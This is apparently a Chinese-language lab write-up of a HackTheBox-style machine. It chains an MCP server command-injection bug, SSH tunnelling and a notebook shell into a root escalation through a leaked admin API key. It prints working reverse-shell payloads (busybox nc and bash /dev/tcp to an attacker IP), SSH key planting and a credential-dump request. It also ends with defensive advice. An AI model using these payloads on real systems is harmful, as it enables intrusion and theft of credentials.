从 MCP 远程代码执行到服务提权
字数 1879
更新时间 2026-07-12 00:01:21
MCP远程代码执行到服务提权 — 完整教学文档
一、环境概述
目标IP:10.129.244.23
主机名:devhub.htb
端口扫描结果
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6274/tcp open unknown
- 22端口:SSH服务
- 80端口:HTTP服务
- 6274端口:MCP Servers服务(关键入口)
二、信息收集
- 使用
nmap -p- -T4进行全端口扫描,发现6274端口开放。 - 访问80端口的Web页面,发现右上角存在GitHub链接。
- 点击GitHub链接进入项目仓库,找到安全公告(Security Advisory),其中披露了MCP Server的远程代码执行漏洞。
三、漏洞利用 — 获取初始Shell
漏洞原理
MCP Server的 /api/mcp/connect 接口未对 serverConfig 参数做充分校验,允许攻击者指定任意的 command 和 args,从而实现远程命令执行。
利用步骤
1. 构造Payload发送请求
curl http://devhub.htb:6274/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{
"serverConfig": {
"command": "busybox",
"args": ["nc", "10.10.16.14", "8888", "-e", "bash"],
"env": {}
},
"serverId": "mytest"
}'
参数说明:
command: 指定执行的二进制程序,此处为busyboxargs: 传递给命令的参数,使用nc反弹shell到攻击机env: 环境变量,可为空serverId: 自定义标识符
2. 攻击机开启监听
nc -lvnp 8888
成功接收反弹shell后,执行以下命令使交互更稳定:
script /dev/null
此时获得的是 mcp-dev 用户的shell。
四、横向移动 — 获取analyst用户权限
信息收集
通过 ps aux 发现 analyst 用户正在运行一个服务,监听在 8888 端口。
根据之前的Web页面信息,8888端口仅允许本地访问。因此需要将流量转发到本地。
建立SSH隧道
1. 生成SSH密钥对
ssh-keygen -t rsa
2. 配置公钥认证
将生成的公钥写入目标机器的 ~/.ssh/authorized_keys:
mkdir -p ~/.ssh
echo "<your-public-key>" >> ~/.ssh/authorized_keys
3. 设置正确权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
4. 建立本地端口转发
ssh mcp-dev@10.129.244.23 -L 8888:127.0.0.1:8888
此命令将远程的8888端口映射到本地的8888端口。
访问内部服务
在浏览器中访问 http://127.0.0.1:8888,即可看到analyst用户的服务页面。
登录时需要填写Token,通过 ps aux 进程列表中找到:
a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
利用Python Notebook获取analyst Shell
登录成功后,进入第一个Notebook,发现可以执行Python代码。使用以下Payload反弹shell:
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.16.14/7777 0>&1"')
攻击机监听:
nc -lvnp 7777
成功获得 analyst 用户的shell。
五、服务提权 — 获取Root权限
信息收集工具
使用 linpeas.sh 进行自动化权限提升枚举。
发现关键文件
扫描发现 /opt/opsmcp/server.py 脚本具有root权限运行特性。
分析server.py关键代码
# 身份认证机制
# 请求头需包含:
# X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a
# 关键接口:ops._admin_dump
# 功能:以root权限读取敏感文件
接口功能详解
ops._admin_dump 接口支持三个 target 参数:
| target | 返回值 |
|---|---|
ssh_keys |
读取 /root/.ssh/id_rsa (root SSH私钥) |
passwords |
返回所有用户密码哈希(含root) |
tokens |
返回管理Token和服务Token |
注意: 必须设置 confirm: true 才能执行。
提取Root SSH私钥
curl -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{
"name": "ops._admin_dump",
"arguments": {
"target": "ssh_keys",
"confirm": true
}
}'
响应中包含完整的root用户SSH私钥内容,将其保存到本地文件。
最终登录Root
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.244.23
成功以root身份登录目标服务器,完成从MCP远程代码执行到服务提权的完整攻击链。
六、关键知识点总结
| 阶段 | 关键技术 | 要点 |
|---|---|---|
| 信息收集 | 端口扫描、GitHub信息泄露 | 发现6274端口MCP服务 |
| 初始入侵 | MCP connect接口RCE | 未校验command/args参数 |
| 横向移动 | SSH隧道、端口转发 | 利用-L参数绕过本地限制 |
| 服务提权 | API密钥泄露、内部接口滥用 | 硬编码密钥+无权限校验的admin接口 |
防御建议
- MCP Server的connect接口应对command参数做白名单校验
- API密钥不应硬编码在源码中,应使用密钥管理系统
- 敏感操作接口(如dump凭证)应增加二次认证或多因素验证
- 内部服务不应完全信任本地回环地址,应实施最小权限原则
- SSH密钥和密码不应存储在可被普通用户读取的位置
相似文章
相似文章